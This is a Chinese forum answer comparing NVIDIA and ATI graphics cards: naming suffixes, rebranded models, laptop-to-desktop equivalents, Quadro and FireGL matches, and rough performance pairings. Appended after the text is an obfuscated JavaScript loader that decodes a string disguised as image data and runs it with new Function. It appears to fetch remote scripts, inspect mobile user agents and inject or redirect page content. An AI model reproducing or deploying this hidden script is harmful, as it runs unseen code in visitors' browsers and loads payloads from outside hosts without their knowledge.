推荐回答(2个)
GTX:发烧友,是旗舰级产品
GTS:高性能
GT:性能
G:入门级产品(或者是什么都没有,直接以GeForce开头)
--------------------------------------------------
复制了一些显卡的东西 LZ有耐心的话可以看看
--------------------------------------------------
笔记本的一般带M
=================GF8以后的NVIDIA桌面显卡发展和马甲对照==================
最原始的8800GTS/GTX/Ultra 8600GT 8500GT发展到后来的所有显卡。当然有一些是核心修改过的,只不过没有ATI改的多 ,至少架构几乎无变化。ATI的2到3,3到4,4到5,核心都不是简单的增减SP,改带宽等。尤其是3到4系列的变化显著。
从高端到低端吧
Geforce GTX 480 (480SP GF100) -> Geforce GTX 470 (减少到448SP GF100)
Geforce 280 ->Geforce 285 -> Geforce 295(双Geforce 285拼起来)
(改动较大的是Geforce 2系列的Geforce 260/280,下面包括250开始都是前代核心的马甲卡。)
Geforce 260
->
{
1、Geforce 260+
2、Geforce 275
}
8800GTS/GTX 640MB/320MB 320Bit(90nm G80核心,96SP) → 修改核心 8800GTS(65nm G92核心,128SP)→ 9800GTX(还是65nm,频率烧高了点)→ 9800GTX+(改用55nm,频率更高了)→GTS150(仅限OEM)→ GTS250(号称升级到1GB显存,实际上市售版绝大多数都还是512MB)
8800GTS的缩水版->8800GT(65nm G92核心,112SP) → 9800GT (初期还是65nm,后来慢慢过度到55nm) → GTS 240(仅限OEM,不零售)
8800GT的缩水版->8800GS 768/384MB 192Bit(65nm G92核心,96SP)→ 9600GSO(原封未动,就刷个BIOS)
→
{
1、→ 修改核心 9600GSO 512MB 256Bit(65nm/55nm G94核心,9600GT缩水而来,48SP,实际性能下降)→ GT130(显存缩水成768MB 192Bit DDR2,仅限OEM)
2、→ 稍作修改 GT240 (40nm GT215核心 96SP 128Bit GDDR5)→ GeForce 340(显存缩水到GDDR3) → GeForce 320(流处理器缩水到72)
→ GeForce 330(流处理器和显存位宽升级:96或112,显存位宽128或192或256bit)
}
这里有个可以算非马甲卡的9600GT(G94b, 64SP, 256Bit) 正好处于中端显卡的位置。
8600GTS/GT(80nm G84核心,32SP, 128Bit)→ 9500GT(升级工艺到65/55nm)→ GT120(仅限OEM)-> 稍作修改 GT220(40nm GT216核心,48SP)→ GeForce 315
8500GT(80nm G86核心,16SP,128Bit)→ 9400GT(升级工艺到65/55nm)
之后又出一款低端非游戏显卡8400GS(80nm G86核心,16SP, 64Bit)→ 修改核心 8400GS(65nm G98核心,8SP,这是NVIDIA第一款支持VC-1硬解码的显卡)-> 9300GS (55nm) -> 稍作修改,重新加到16SP,GT210(40nm GT218核心,16SP)→ GeForce 310(16SP)以及 305(305是缩水回8SP)
至于再缩水的8300GS/8200GS/8100GS等就不说了,基本谈不上叫独立显卡了。
整合芯片方面 集成Geforce 9100 = 集成Geforce 8200 (MCP7A和MCP78)
=====================NVIDIA笔记本显卡型号对应桌面型号===================
笔记本对应的桌面型号 当然有所降频是正常的 其中最右边的为桌面型号
GTX380M 这个会是即将推出的Fermi的移动版 40nm
GTX280M = GTS 250 和桌面280半点关系都没有 55nm
GTX260M = 9800GT 和桌面260半点关系都没有 55nm
GTS360M/350M = GTS260M/250M = GT240 GT215核心 96SP 128Bit DDR3/DDR5 40nm
GT330M(*GT335M)/325M = GT240M/230M = GT220 GT216核心,48SP 128bit DDR3/DDR2 40nm *GT335M也是这个核心 但是奇怪的是有72SP
310M/305M = G210M = GT210 40nm GT218核心,16SP
GTS 160M/150M = 9800M GTS/GS = 9600GT绿色版(55nm) G94b核心 256Bit 64SP
9700M GTS = 9600GSO G94的9600GSO 48SP 256Bit 55nm
9700M GT = 9500GT 和9700MGTS完全没关系,而且性能差距相当大 32SP 128Bit 55nm
GT220M = GT130M = 9650M GT = 9500GT 32SP 128Bit可搭配DDR3 DDR2 55nm
9600M GT/GS = 8600GT 这个和上面的没区别 32SP 128Bit 就是上面是55nm 这个是65nm 功耗大一点
9650M GS = 8700M GT = 8600GTS 这个是80nm的!功耗大! 32SP 128Bit 和9650M GT隔了两代,虽然只是换了制程改了名字
9500M GS = 8600M GT = 8600GT 80nm 32SP 128Bit
9500M G = 9400GT 65nm 16SP 128Bit
8600M GS/8400M GT = 8500GT 80nm 16SP 128Bit
9300M G = 8400M GS = 8400GS 80nm G86核心 16SP 64Bit
8400M G 8SP 80nm
G105M = 9300M GS/9200M GS = 新8400GS(65nm G98核心) 8SP 64Bit
9200M G 8SP 32bit 65nm
集成G102M = 集成9400M G = 集成ION 65nm 16SP
集成9100M G = 集成8200M G = 集成Geforce 8200 65nm 8SP
=================NVIDIA GeForce 与Quadro NVS 对应关系================
Geforce 8800M GS = Quadro FX1600M
Geforce 8600M GTS = Quadro FX 570M
GeForce GT 240M = Quadro NVS 5100M = NVIDIA GLM DG(512M的或1G的5100M)
Geforce 8600M GT = Quadro NVS320M
Geforce 8600M GS = Quadro FX360M
Geforce 8400M GT = Quadro NVS 140M
Geforce 310M = Quadro NVS 3100M = NVIDIA GLM SG(256MB的3100M)
= NVIDIA GLM DG(512MB的3100M)
Geforce 8400M GS = Quadro NVS 135M
Geforce 8400M G = Quadro NVS 130M
Geforce G105M = Quadro 170M (好悲剧。。)
Geforce 9200M G = Quadro 160M 8SP
Geforce Go 7300 = Quadro 110M 这个是老一辈的
=======================ATI桌面显卡和笔记本显卡的关系================
ATI的笔记本显卡基本符合和同名桌面显卡相同核心相同规格(有降频正常),当然以下也举了一些不太一样的。
Mobility 58x0 = 57x0 256bit
Mobility 57x0 = 56x0 其中5730只用DDR3显存 128bit
Mobility 56x0 = 55x0 128bit
Mobility 54x0 = 54x0 64bit 以上均40nm
Mobility 48x0 = 48x0 256bit
Mobility 46x0 = 46x0 128bit
Mobility 4570/4350/4300 = 43x0 RV710 64bit
3系列(3870/3850/3670/3650/3470/3450以及38x0 X 2)和桌面完全对应就是多了3430 3410 是3450的频率更低版或者去掉一些无用特性
以上均55nm
2系列
Mobility 2600XT/2600 = 2600XT/Pro 128Bit 65nm
Mobility X2500 = 性能介于Mobility X1600和X1700之间 对应桌面约1650XT/GT 128Bit 90nm
Mobility 2400XT/2400 = 2400XT/Pro 64Bit 65nm
Mobility Radeon HD 2300/X2300 = Mobility 1400/1450 对应桌面约1300XT 128Bit 90nm
1系列
Mobility X1900/X1800XT/X1800 = 桌面的1950/1900/1800 256Bit 90nm 管线顶点不同
Mobility X1700/1600/1450/X1400 = 桌面的1650/1600/1300 128Bit 90nm 管线顶点不同
===================ATI FireGL与Radeon的关系====================
FireGL V5725/V5700 = Radeon 3670/3650 55nm 和桌面的FireGL 5700没关系(桌面的320SP)
FireGL V5600 = Radeon 2600 60sp
FireGL V5250 = Radeon X2500 16管线 90nm
FireGL V5200 = Radeon X1600 12管线/5顶点 90nm
FireGL V5000 = Radeon X850/X800 256Bit 110nm
FireGL V3200 = Radeon X700 110nm
FireGL V3100 = Radeon X550 110nm
==============大致的N卡和A卡桌面显卡性能对应===============
1、这个是个人参考各种评测写的,不一定完全准确,而且只是个大概。
2、笔记本的参照对应的桌面显卡进行比较,当然频率、显存对卡的影响蛮大的,比如GDDR2的8600GT不一定干的过GDDR3的8500GT。一下的也尽量是公板比较。
7300LE = 1300PRO
7300GT = 1600PRO(1300XT的小马甲)
7600GS = 1600XT/1650PRO
7600GT = 1650GT/XT
7800GT = 1800XT
7900GS = 1900PRO
7900GT = 1900XT
7950GS = 1950GT/PRO
7950GT/7900GTX = 1950XT
7950GX2 = 1950XTX
8400GS = 2400Pro
8400GT = 2400XT
8500GT = 2600Pro
8600GT = 2600XT
8600GTS = 2600XT DDR4
8800GT = 2900PRO
8800GTS = 2900XT
8800GTX = 2950XT/PRO
8800Ultra
8800GS/9600GSO = 3830(3690)
9600GT = 3850
8800GT(9800GT) = 3870
3670/3650参考2600XT/PRO
3450/3470参考2400XT/PRO
4890 = GTX275 260+之间
4870 = 260
4860介于250 260之间
4850 = 250
4830/4750 = 9800GT
9600gt / GT 240
4670 = 9600GSO新 < 9600GSO老
4650 = 9500GT
4370/4350 = 9400GT
5970
480 略大于 5870
5870 略大于 295
5850 略大于 470
5830 = 285
5770 = 260+
5750 = 250
5670 = 9800gt
5570 = 9600gt/gt 240
再低端的显卡没意思 不对比了
都是一样的。。如果玩游戏的话 用GT335 或者HD 5650 其他都一样的话 显卡提升高
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();